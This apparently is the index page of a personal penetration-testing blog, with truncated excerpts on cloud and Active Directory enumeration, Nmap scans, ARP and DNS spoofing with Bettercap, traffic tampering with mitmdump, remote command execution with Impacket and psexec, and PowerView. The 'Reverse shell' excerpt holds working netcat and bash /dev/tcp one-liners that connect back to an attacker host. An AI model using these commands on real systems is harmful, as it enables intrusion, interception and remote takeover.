akde/infosec

Click Here

  • Pacu — AWS exploitation framework

    Pacu can be used to test an AWS account. Setup: Unauthorized enumeration Requires only an AWS access key and secret key. Enu­mer­ate roles. Cre­ate a list with pos­si­ble roles to check. run iam__enum_roles --word-list /tmp/roles.txt --account-id $accountId Enu­mer­ate users which belong to a (pre­vi­ous­ly found) role. Cre­ate also a list of pos­si­ble user names. run iam__enum_users --word-list…

  • Cloud Enumeration

    Initial (network) enumeration Check where a ser­vice is host­ed by quer­ing the name­serv­er records for our tar­get domain: host -t ns $domain Get more infor­ma­tion / con­fir­ma­tion via a whois query to one pre­vi­ous­ly found domain. whois $previouslyFoundDomain Check where a host is running: host $domainhost $ipFromTheDomain Check more domains of this organ­i­sa­tion / of…

  • Windows Library Files

    Files with the exten­sion .Library-ms are sim­i­lar to macOS’s Vol­umes. They can con­tain files and direc­to­ry which looks like local files on the Win­dows Explor­er. Many AV/Malware sys­tems does not detect them currently. Create a Windows Library “Directory” Prepa­ra­tion: Install some­where a DAV share which is avail­able from the vic­tim’s sys­tem which points to a…

  • XSS Cross-site-scripting attacks

    Short: A user opens a link (e.g. from a phish­ing email) which has a injec­tion in the URL which is then exe­cut­ed on the site as long as the user is logged in. See also com­mand injec­tions post. Class­es: Tip:

  • API enumeration

    See also the Web brute force post.

  • Nmap scripts

    Nmap has it’s own script­ing lan­guage with which com­plex or recur­ring tasks can be autom­a­tized. See the man­page. And share/nmap/scripts. Vulnerability scan # nmap -sV -T5 -F $victim --script vuln | tee nmap-vuln.txt Bet­ter vul­ner­a­bil­i­ty scans (thanks to this source) cd /usr/share/nmap/scripts/vulscan/utilities/updater/ && ./updateFiles.sh nmap --script nmap-vulners -sV -sC -p22 $victim nmap --script vulscan -sV…

  • whois

  • Spring Boot

    Mandatory Optional Use this script to list all end­points for fur­ther research:

  • File upload checklist

    (!) If upload does not seem to work, change the suf­fix e.g. from .php to .pHp. More: File uploads / images

  • Analyze code coverage to improve fuzzing

    Bugs can only be found dur­ring fuzzing code, which is exe­cut­ed. But which parts of the code of a tar­get sys­tem is exe­cut­ing dur­ing a fuzzing ses­sion? And how we can improve our fuzzer to include also tests for code blocks which weren’t cov­ered before? Dynamorio We’ll use now Dynamor­io — a run­time code manip­u­la­tion…

  • Network packet analyzation and modification

    Scapy fundamentals Com­mands for the inter­ac­tive scapy interpreter: conf.iface shows the cur­rent­ly used interface  conf.iface='tun0' sets the inter­face to use ls shows all protocols ls(TCP) shows all known head­ers for a giv­en protocol lsc shows build-in functions Details about a pack­et p: p shows gen­er­al information p.summary() shows also gen­er­al information p.show() shows each field and…

  • mitmproxy / mitmdump

    mit­m­dump is a proxy which can store and mod­i­fy content. Change content of a third-party site Sce­nario: You want to manip­u­late some con­tent from a web­site $tar­get visits. Per­form ARP-pois­en­ing with Bet­ter­cap, Etter­cap, the http_hijack.py script or some­how else. Start mit­m­dump in trans­par­ent mode:mitmdump --mode transparent --replace /~s/wars/trek/or alter­na­tive­ly to read the new con­tent from a…

  • Bettercap

    A Etter­cap suc­ces­sor, writ­ten in Go. Basic commands: Pas­sive ARP probing:  net.recon on net.recon off Active prob­ing: net.probe on net.probe off Sniff­ing: set net.sniff.output /tmp/sniff.pcap // optional net.sniff on net.sniff off Spoof­ing: set arp.spoof.targets $target1, $target2, $target3 arp.spoof on arp.spoof off DNS Spoof­ing: set dns.spoof.domains target.domain // the domain which should be resolved as… set…

  • Covenant

    -NET attack frame­work: https://github.com/cobbr/Covenant Usage Cre­ate a lis­ten­er on the attack system. Add a launch­er to the listener. The attack sys­tem now pro­vides a pay­load file the vic­tim has to start. You can use Urban­Bish­op to inject the pay­load into a run­ning process. As soon as the pay­load is exe­cut­ed, Covenant will show on the dash­board…

  • Extended Windows System Enumeration

    Various Show who else is logged in. qwinsta Open the Event View­er and search in the looks. Have fun! Network enumeration Show the net­work con­fig­u­ra­tion. Are there mul­ti­ple interfaces? ipconfig /all Rout­ing information route print Show cur­rent net­work con­nec­tions. After check­ing this com­mand: CHECK all ports with the pre­vi­ous found ones! netstat -ano Check the ARP cache…

  • Reverse shell

    Important notes Linux nc On the own system: [rlwrap] nc -lnvp 9998 [l=listen,v=verbose,p=port,n=no_resolution] On the target: nc -e /bin/sh 10.0.3.4 4444 Alter­na­tive: mknod /tmp/backpipe p /bin/sh 0</tmp/backpipe | nc $attacker 4444 1>/tmp/backpipe Alter­na­tive: /bin/bash -c 'bash -i >& /dev/tcp/$attacker/4444 0>&1' If nc does­n’t seem on the sys­tem: Try a Perl reverse shell! Bind shell On…

  • Command execution on Windows

    With username/password With psex­ec (Pre­req­ui­sites: ADMIN$ share is avail­able, the user is part of the local admin­is­tra­tor group on the target) With psex­ec via Metasploit use exploit/windows/smb/psexec With atex­ec (Impack­et) atexec.py dom/user:pass@$target cmd.exe With wmiex­ec wmiexec.py domain.local/$target:$password@$ip With Smbmap smbmap -u ariley -p 'pass' -d WORKGROUP -x 'whoami' -H $target With Wmic (To run a…

  • EyeWitness

    Source on Github Cre­ates screen­shots from a list of URLs. Good way to get fast an over­wiew over a new site. With nmap, use ‑oA file to save the out­put also as XML file. Eye­Wit­ness can use this file via ‑x file and make screen­shots of all of this sites. EyeWitness.py --web -x webservers.xml

  • Active enumeration

    The usual order Network scan Detect hosts for a domain (use Seclist): for ip in $(cat common-subdomains.txt); do host $ip.megacorpone.com; done Reverse lookup: Find domains for addresses: for ip in $(seq 155 190); do host 50.7.67.$ip; done | grep -v "not found" Zonefile enumeration Grab zone­file from a ran­dom tar­get domain: host -a -l fraunhofer.de ns3.fraunhofer.de…

  • Blind directory enumeration

    Try this ressources if you can access files, but not list­ing them. http://pwnwiki.io/#!presence/windows/blind.md Cheat sheet 1 List In Apache and prob­a­bly more sys­tems you can “trav­el over” non-exist­ing files because the path is short­ened before check­ing the exis­tence of a file. Exam­ple: /test/test.txt/../../index.html will return in an Apache the root’s index.html even if the test direco­ry and…

  • Basic Active Directory Enumeration

    Without shell access With shell access Choose one method to enumerate. 1. User and group enumeration with net (!) See what roles/privileges THIS USER has. Also localy. Maybe he/she has already admin­is­tra­tive privileges. whoami /all List (and store!) the users of the domain net user /domain List (and store!) infor­ma­tion like full names, group mem­ber­ships, etc.…

  • PowerSploit / PowerView

    Col­lec­tion of privsec scripts. To start, upload PowerView.ps1 and: powershell -exec bypass PS> Import-Module .\PowerView.ps1 See the github site for all commands. General enumeration powershell -exec bypass PS> . .\PowerUp.ps1 PS> Invoke-AllChecks Or: powershell.exe -c "Import-Module .\PowerUp.ps1; Invoke-AllChecks" About users Enu­mer­ates all users. Get-NetUser Enu­mer­ate all users which does not require Ker­beros preauth. Get-NetUser -PreauthNotRequired Returns…

  • PowerShell Empire

    Main­ly post exploita­tion for AD envi­ron­ments. (Down­load — also includ­ed in Kali sources) Quick usage for privilege escalation General usage Metas­ploit syn­tax / PSE syntax Note: After use­mod­ule don’t for­get to go “back” and to “inter­act” with the agent to see job results! Com­mands with an aster­ix require a high-integri­ty Empire Agent. To upgrade one…

  • Impacket

    See the Impack­et site for a short descrip­tion of all tools. Tip: On Kali, use the com­mand impacket-* Enumeration without authentication Deter­mine the sys­tem architecture getArch.py -target $target Returns the lis­ten­ing RPC inter­face IDs. ifmap.py $target 135rpcdump.py $target Enumeration with half authentication Sce­nario: You have cre­den­tials for one AD user. Then, try to get all users for…

  • OS detection, validation and impersonation

    Tools to detect nmap ‑O nmap-chronos Tools to detect and validate p0f JS to list brows­er char­ac­ter­is­tics which could send back to an attack­er via an AJAX request: /itsec/wp-content/uploads/2021/05/browser_detection.html Tools to impersonate Against browser/JS-based fin­ger­print­ing: Just tam­per with val­ues from the brows­er in about:config.

  • autorecon.py

    https://github.com/Tib3rius/AutoRecon Mul­ti recon tool for broad scanning

  • Drupal

    Down­load: https://github.com/droope/droopescan droopescan scan drupal -u http://$target/ -t 32 Or just install via pip pip install droopescan

  • Commix

    https://tools.kali.org/exploitation-tools/commix Cre­at­ed SQL injec­tions on the fly.

  • Joomla: Jomscan